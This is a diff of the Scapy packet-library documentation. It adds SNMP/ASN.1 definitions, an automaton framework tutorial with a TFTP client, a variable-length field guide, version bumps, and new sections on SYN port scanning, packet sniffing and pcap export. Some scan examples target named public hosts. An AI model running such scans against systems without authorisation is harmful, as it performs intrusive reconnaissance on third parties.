ASN1F_enum_INTEGER("error",0, SNMP_error),
ASN1F_INTEGER("error_index",0),
ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
)
class SNMPnext(ASN1_Packet):
ASN1_codec = ASN1_Codecs.BER
ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0),
ASN1F_enum_INTEGER("error",0, SNMP_error),
ASN1F_INTEGER("error_index",0),
ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
)
# [...]
class SNMP(ASN1_Packet):
ASN1_codec = ASN1_Codecs.BER
ASN1_root = ASN1F_SEQUENCE(
ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}),
ASN1F_STRING("community","public"),
ASN1F_CHOICE("PDU", SNMPget(),
SNMPget, SNMPnext, SNMPresponse, SNMPset,
SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)
)
def answers(self, other):
return ( isinstance(self.PDU, SNMPresponse) and
( isinstance(other.PDU, SNMPget) or
isinstance(other.PDU, SNMPnext) or
isinstance(other.PDU, SNMPset) ) and
self.PDU.id == other.PDU.id )
# [...]
bind_layers( UDP, SNMP, sport=161)
bind_layers( UDP, SNMP, dport=161)
That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may may have cut too much, just look at the complete source code.
Now, how to use it? As usual::
>>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5),
... SNMPvarbind(oid="3.2.1",value="hello")]))
>>> a.show()
###[ SNMP ]###
version= v3
community= 'public'
\PDU\
|###[ SNMPget ]###
| id= 0
| error= no_error
| error_index= 0
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid= '1.2.3'
| | value= 5
| |###[ SNMPvarbind ]###
| | oid= '3.2.1'
| | value= 'hello'
>>> hexdump(a)
0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!.
0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*.
0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello
>>> send(IP(dst="1.2.3.4")/UDP()/SNMP())
.
Sent 1 packets.
>>> SNMP(str(a)).show()
###[ SNMP ]###
version= <ASN1_INTEGER[3L]>
community= <ASN1_STRING['public']>
\PDU\
|###[ SNMPget ]###
| id= <ASN1_INTEGER[0L]>
| error= <ASN1_INTEGER[0L]>
| error_index= <ASN1_INTEGER[0L]>
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid= <ASN1_OID['.1.2.3']>
| | value= <ASN1_INTEGER[5L]>
| |###[ SNMPvarbind ]###
| | oid= <ASN1_OID['.3.2.1']>
| | value= <ASN1_STRING['hello']>
Resolving OID from a MIB
------------------------
About OID objects
^^^^^^^^^^^^^^^^^
OID objects are created with an ``ASN1_OID`` class::
>>> o1=ASN1_OID("2.5.29.10")
>>> o2=ASN1_OID("1.2.840.113549.1.1.1")
>>> o1,o2
(<ASN1_OID['.2.5.29.10']>, <ASN1_OID['.1.2.840.113549.1.1.1']>)
Loading a MIB
^^^^^^^^^^^^^
Scapy can parse MIB files and become aware of a mapping between an OID and its name::
>>> load_mib("mib/*")
>>> o1,o2
(<ASN1_OID['basicConstraints']>, <ASN1_OID['rsaEncryption']>)
The MIB files I've used are attached to this page.
Scapy's MIB database
^^^^^^^^^^^^^^^^^^^^
All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name
::
>>> conf.mib.sha1_with_rsa_signature
'1.2.840.113549.1.1.5'
or to resolve an OID::
>>> conf.mib._oidname("1.2.3.6.1.4.1.5")
'enterprises.5'
It is even possible to graph it::
>>> conf.mib._make_graph()
Automata
========
Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose you way to go.
An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions and from transitions to states and actions.
From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work.
First example
-------------
Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well.
::
class HelloWorld(Automaton):
@ATMT.state(initial=1)
def BEGIN(self):
print "State=BEGIN"
@ATMT.condition(BEGIN)
def wait_for_nothing(self):
print "Wait for nothing..."
raise self.END()
@ATMT.action(wait_for_nothing)
def on_nothing(self):
print "Action on 'nothing' condition"
@ATMT.state(final=1)
def END(self):
print "State=END"
In this example, we can see 3 decorators:
* ``ATMT.state`` that is used to indicate that a method is a state, and that can
have initial, final and error optional arguments set to non-zero for special states.
* ``ATMT.condition`` that indicate a method to be run when the automaton state
reaches the indicated state. The argument is the name of the method representing that state
* ``ATMT.action`` binds a method to a transition and is run when the transition is taken.
Running this example gives the following result::
>>> a=HelloWorld()
>>> a.run()
State=BEGIN
Wait for nothing...
Action on 'nothing' condition
State=END
This simple automaton can be described with the following graph:
.. image:: graphics/ATMT_HelloWorld.*
The graph can be automatically drawn from the code with::
>>> HelloWorld.graph()
Changing states
---------------
The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition.
As an example, let's consider the following state::
@ATMT.state()
def MY_STATE(self, param1, param2):
print "state=MY_STATE. param1=%r param2=%r" % (param1, param2)
This state will be reached with the following code::
@ATMT.receive_condition(ANOTHER_STATE)
def received_ICMP(self, pkt):
if ICMP in pkt:
raise self.MY_STATE("got icmp", pkt[ICMP].type)
Let's suppose we want to bind an action to this transition, that will also need some parameters::
@ATMT.action(received_ICMP)
def on_ICMP(self, icmp_type, icmp_code):
self.retaliate(icmp_type, icmp_code)
The condition should become::
@ATMT.receive_condition(ANOTHER_STATE)
def received_ICMP(self, pkt):
if ICMP in pkt:
raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code)
Real example
------------
Here is a real example take from Scapy. It implements a TFTP client that can issue read requests.
.. image:: graphics/ATMT_TFTP_read.*
::
class TFTP_read(Automaton):
def parse_args(self, filename, server, sport = None, port=69, **kargs):
Automaton.parse_args(self, **kargs)
self.filename = filename
self.server = server
self.port = port
self.sport = sport
def master_filter(self, pkt):
return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt
and pkt[UDP].dport == self.my_tid
and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )
# BEGIN
@ATMT.state(initial=1)
def BEGIN(self):
self.blocksize=512
self.my_tid = self.sport or RandShort()._fix()
bind_bottom_up(UDP, TFTP, dport=self.my_tid)
self.server_tid = None
self.res = ""
self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()
self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet")
self.send(self.last_packet)
self.awaiting=1
raise self.WAITING()
# WAITING
@ATMT.state()
def WAITING(self):
pass
@ATMT.receive_condition(WAITING)
def receive_data(self, pkt):
if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:
if self.server_tid is None:
self.server_tid = pkt[UDP].sport
self.l3[UDP].dport = self.server_tid
raise self.RECEIVING(pkt)
@ATMT.action(receive_data)
def send_ack(self):
self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting)
self.send(self.last_packet)
@ATMT.receive_condition(WAITING, prio=1)
def receive_error(self, pkt):
if TFTP_ERROR in pkt:
raise self.ERROR(pkt)
@ATMT.timeout(WAITING, 3)
def timeout_waiting(self):
raise self.WAITING()
@ATMT.action(timeout_waiting)
def retransmit_last_packet(self):
self.send(self.last_packet)
# RECEIVED
@ATMT.state()
def RECEIVING(self, pkt):
recvd = pkt[Raw].load
self.res += recvd
self.awaiting += 1
if len(recvd) == self.blocksize:
raise self.WAITING()
raise self.END()
# ERROR
@ATMT.state(error=1)
def ERROR(self,pkt):
split_bottom_up(UDP, TFTP, dport=self.my_tid)
return pkt[TFTP_ERROR].summary()
#END
@ATMT.state(final=1)
def END(self):
split_bottom_up(UDP, TFTP, dport=self.my_tid)
return self.res
It can be run like this, for instance::
>>> TFTP_read("my_file", "192.168.1.128").run()
Detailed documentation
----------------------
Decorators
^^^^^^^^^^
Decorator for states
~~~~~~~~~~~~~~~~~~~~
States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters, ``initial``, ``final`` and ``error``, that, when set to ``True``, indicate that the state is an initial, final or error state.
::
class Example(Automaton):
@ATMT.state(initial=1)
def BEGIN(self):
pass
@ATMT.state()
def SOME_STATE(self):
pass
@ATMT.state(final=1)
def END(self):
return "Result of the automaton: 42"
@ATMT.state(error=1)
def ERROR(self):
return "Partial result, or explanation"
# [...]
Decorators for transitions
~~~~~~~~~~~~~~~~~~~~~~~~~~
Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. Default priority is 0. Transitions with the same priority level are called in an undetermined order.
When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called.
::
class Example(Automaton):
@ATMT.state()
def WAITING(self):
pass
@ATMT.condition(WAITING)
def it_is_raining(self):
if not self.have_umbrella:
raise self.ERROR_WET()
@ATMT.receive_condition(WAITING, prio=1)
def it_is_ICMP(self, pkt):
if ICMP in pkt:
raise self.RECEIVED_ICMP(pkt)
@ATMT.receive_condition(WAITING, prio=2)
def it_is_IP(self, pkt):
if IP in pkt:
raise self.RECEIVED_IP(pkt)
@ATMT.timeout(WAITING, 10.0)
def waiting_timeout(self):
raise self.ERROR_TIMEOUT()
Decorator for actions
~~~~~~~~~~~~~~~~~~~~~
Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optionnal priority ``prio`` as a second parameter. Default priority is 0. An action method can be decorated many times to be bound to many transitions.
::
class Example(Automaton):
@ATMT.state(initial=1)
def BEGIN(self):
pass
@ATMT.state(final=1)
def END(self):
pass
@ATMT.condition(BEGIN, prio=1)
def maybe_go_to_end(self):
if random() > 0.5:
raise self.END()
@ATMT.condition(BEGIN, prio=2)
def certainly_go_to_end(self):
raise self.END()
@ATMT.action(maybe_go_to_end)
def maybe_action(self):
print "We are lucky..."
@ATMT.action(certainly_go_to_end)
def certainly_action(self):
print "We are not lucky..."
@ATMT.action(maybe_go_to_end, prio=1)
@ATMT.action(certainly_go_to_end, prio=1)
def always_action(self):
print "This wasn't luck!..."
The two possible outputs are::
>>> a=Example()
>>> a.run()
We are not lucky...
This wasn't luck!...
>>> a.run()
We are lucky...
This wasn't luck!...
Methods to overload
^^^^^^^^^^^^^^^^^^^
Two methods are hooks to be overloaded:
* The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behaviour of your automaton.
* The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition.

View File

@ -6,6 +6,7 @@ Credits
- Philippe Biondi is Scapy's author. He has also written most of the documentation.
- Fred Raynal wrote the chapter on building and dissecting packets.
- Sebastien Martini added some details in "Handling default values: automatic computation".
- Peter Kacherginsky contributed several tutorial sections, one-liners and recipes.
- Dirk Loss integrated and restructured the existing docs to make this book.
He has also written the installation instructions for Windows.

View File

@ -26,7 +26,7 @@ of a field class::
In this example, our layer has three fields. The first one is an 2 byte integer
field named ``mickey`` and whose default value is 5. The second one is a 1 byte
integer field named ``minnie`` and whose default value is 3. The difference between
a vanilla ``ByteField`` and a ``XByteField` is only the fact that the prefered human
a vanilla ``ByteField`` and a ``XByteField`` is only the fact that the prefered human
representation of the fields value is in hexadecimal. The last field is a 4 byte
integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact
that some of the possible values of the field have litterate representations. For
@ -72,7 +72,7 @@ organized.
>>> p.summary()
'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw'
We are interested in 2 "inside" fields of the class Packet:
We are interested in 2 "inside" fields of the class ``Packet``:
* ``p.underlayer``
* ``p.payload``
@ -312,7 +312,7 @@ dissected. ``self`` points to the current layer.
dissected as "``Raw``" data (which is some kind of default layer type)
For a given layer, everything is quite straightforward.
For a given layer, everything is quite straightforward:
- ``pre_dissect()`` is called to prepare the layer.
- ``do_dissect()`` perform the real dissection of the layer.
@ -407,13 +407,13 @@ Sometimes, guessing the payload class is not as straightforward as
defining a single port. For instance, it can depends on a value of a
given byte in the current layer. The 2 needed methods are:
- ``guess_payload_class()`` which must return the guessed class for the
payload (next layer). By default, it uses links between classes
that have been put in place by ``bind_layers()``.
- ``guess_payload_class()`` which must return the guessed class for the
payload (next layer). By default, it uses links between classes
that have been put in place by ``bind_layers()``.
- ``default_payload_class()`` which returns the default value. This
method defined in the class ``Packet`` returns ``Raw``, but it can be
overloaded.
- ``default_payload_class()`` which returns the default value. This
method defined in the class ``Packet`` returns ``Raw``, but it can be
overloaded.
For instance, decoding 802.11 changes depending on whether it is
ciphered or not::
@ -427,12 +427,12 @@ ciphered or not::
Several comments are needed here:
- this cannot be done using ``bind_layers()`` because the tests are
supposed to be "``field==value``", but it is more complicated here as we
test a single bit in the value of a field.
- this cannot be done using ``bind_layers()`` because the tests are
supposed to be "``field==value``", but it is more complicated here as we
test a single bit in the value of a field.
- if the test fails, no assumption is made, and we plug back to the
default guessing mechanisms calling ``Packet.guess_payload_class()``
- if the test fails, no assumption is made, and we plug back to the
default guessing mechanisms calling ``Packet.guess_payload_class()``
Most of the time, defining a method ``guess_payload_class()`` is not a
necessity as the same result can be obtained from ``bind_layers()``.
@ -468,8 +468,8 @@ default method ``Packet.guess_payload_class()``. This method runs through
each element of the list payload_guess, each element being a
tuple:
- the 1st value is a field to test (``'dport': 2000``)
- the 2nd value is the guessed class if it matches (``Skinny``)
- the 1st value is a field to test (``'dport': 2000``)
- the 2nd value is the guessed class if it matches (``Skinny``)
So, the default ``guess_payload_class()`` tries all element in the list,
until one matches. If no element are found, it then calls
@ -511,7 +511,7 @@ appended altogether.
0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........
0020 50 02 20 00 91 7C 00 00 P. ..|..
Calling str() builds the packet:
Calling ``str()`` builds the packet:
- non instanced fields are set to their default value
- lengths are updated automatically
- checksums are computed
@ -906,6 +906,7 @@ e.g.::
Strings
-------
::
StrField(name, default, fmt="H", remain=0, shift=0)
StrLenField(name, default, fld=None, length_from=None, shift=0):
@ -933,7 +934,86 @@ Lists and lengths
PacketLenField # used e.g. in ISAKMP_payload_Proposal
PacketListField
The FieldListField and LengthFields articles on the Wiki have more info on this topic.
Variable length fields
^^^^^^^^^^^^^^^^^^^^^^
This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value.
Problems arise whe you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must substract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words.
The length field
~~~~~~~~~~~~~~~~
First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied on 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing::
adjust=lambda pkt,x: x
For instance, if ``the_varfield`` is a list
::
FieldLenField("the_lenfield", None, count_of="the_varfield")
or if the length is in 16bits words::
FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2)
The variable length field
~~~~~~~~~~~~~~~~~~~~~~~~~
A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ...
For the two firsts, whe a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance::
StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield)
or
::
StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12)
For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance::
FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield)
Examples
^^^^^^^^
::
class TestSLF(Packet):
fields_desc=[ FieldLenField("len", None, length_of="data"),
StrLenField("data", "", length_from=lambda pkt:pkt.len) ]
class TestPLF(Packet):
fields_desc=[ FieldLenField("len", None, count_of="plist"),
PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ]
class TestFLF(Packet):
fields_desc=[
FieldLenField("the_lenfield", None, count_of="the_varfield"),
FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"),
count_from = lambda pkt: pkt.the_lenfield) ]
class TestPkt(Packet):
fields_desc = [ ByteField("f1",65),
ShortField("f2",0x4244) ]
def extract_padding(self, p):
return "", p
class TestPLF2(Packet):
fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2),
FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2),
PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ]
Test the ``FieldListField`` class::
>>> TestFLF("\x00\x02ABCDEFGHIJKL")
<TestFLF the_lenfield=2 the_varfield=['65.66.67.68', '69.70.71.72'] |<Raw load='IJKL' |>>
Special
-------

View File

@ -36,15 +36,15 @@ master_doc = 'index'
# General substitutions.
project = 'Scapy'
copyright = '2008, Philippe Biondi and the Scapy community'
copyright = '2008, 2009 Philippe Biondi and the Scapy community'
# The default replacements for |version| and |release|, also used in various
# other places throughout the built documents.
#
# The short X.Y version.
version = '2.0.0'
version = '2.0.1'
# The full version, including alpha/beta/rc tags.
release = '2.0.0'
release = '2.0.1'
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

View File

@ -18,10 +18,11 @@ This document is under a `Creative Commons Attribution - Non-Commercial
installation
usage
advanced_usage
extending
troubleshooting
build_dissect
troubleshooting
development
backmatter

View File

@ -336,6 +336,103 @@ If there is a limited rate of answers, you can specify a time interval to wait b
Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)
SYN Scans
---------
.. index::
single: SYN Scan
Classic SYN Scan can be initialized by executing the following command from Scapy's prompt::
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
The above will send a single SYN packet to Google's port 80 and will quit after receving a single response::
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding load='V\xf7' |>>>
From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.
Use either notations to scan ports 400 through 443 on the system:
>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
or
>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
In order to quickly review responses simply request a summary of collected packets::
>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:
>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440 RA
441 RA
442 RA
https SA
Even better, a table can be built using the ``make_table()`` function to display information about multiple targets::
>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
... lambda(s,r): (s.dst, s.dport,
... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
66.35.250.150 192.168.1.1 216.109.112.135
22 66.35.250.150 - dest-unreach RA -
80 SA RA SA
443 SA SA SA
The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.
For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set::
>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") ====== "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open::
>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") ====== "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open
Again, for larger scans we can build a table of open ports::
>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
... (s.dst, s.dport, "X"))
66.35.250.150 192.168.1.1 216.109.112.135
80 X - X
443 X X X
If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results::
>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
TCP traceroute
--------------
@ -503,6 +600,24 @@ We can easily capture some packets or even clone tcpdump or tethereal. If no int
---[ Padding ]---
load = '\n_\x00\x0b'
For even more control over displayed information we can use the ``sprintf()`` function::
>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99
64.233.167.99 -> 192.168.1.100
192.168.1.100 -> 64.233.167.99
192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
We can sniff and do passive OS fingerprinting::
>>> p
@ -579,6 +694,143 @@ Here is an example of a (h)ping-like functionnality : you always send the same s
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
Importing and Exporting Data
----------------------------
PCAP
^^^^
It is often useful to save capture packets to pcap file for use at later time or with different applications::
>>> wrpcap("temp.cap",pkts)
To restore previously saved pcap file:
>>> pkts = rdpcap("temp.cap")
or
>>> pkts = sniff(offline="temp.cap")
Hexdump
^^^^^^^
Scapy allows you to export recorded packets in various hex formats.
Use ``hexdump()`` to display one or more packets using classic hexdump format::
>>> hexdump(pkt)
0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|......
0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
0060 36 37 67
Hexdump above can be reimported back into Scapy using ``import_hexcap()``::
>>> pkt_hex = Ether(import_hexcap())
0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|......
0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
0060 36 37 67
>>> pkt_hex
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
Hex string
^^^^^^^^^^
You can also convert entire packet into a hex string using the ``str()`` function::
>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
We can reimport the produced hex string by selecting the appropriate starting layer (e.g. ``Ether()``).
>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
Base64
^^^^^^
Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet::
>>> pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
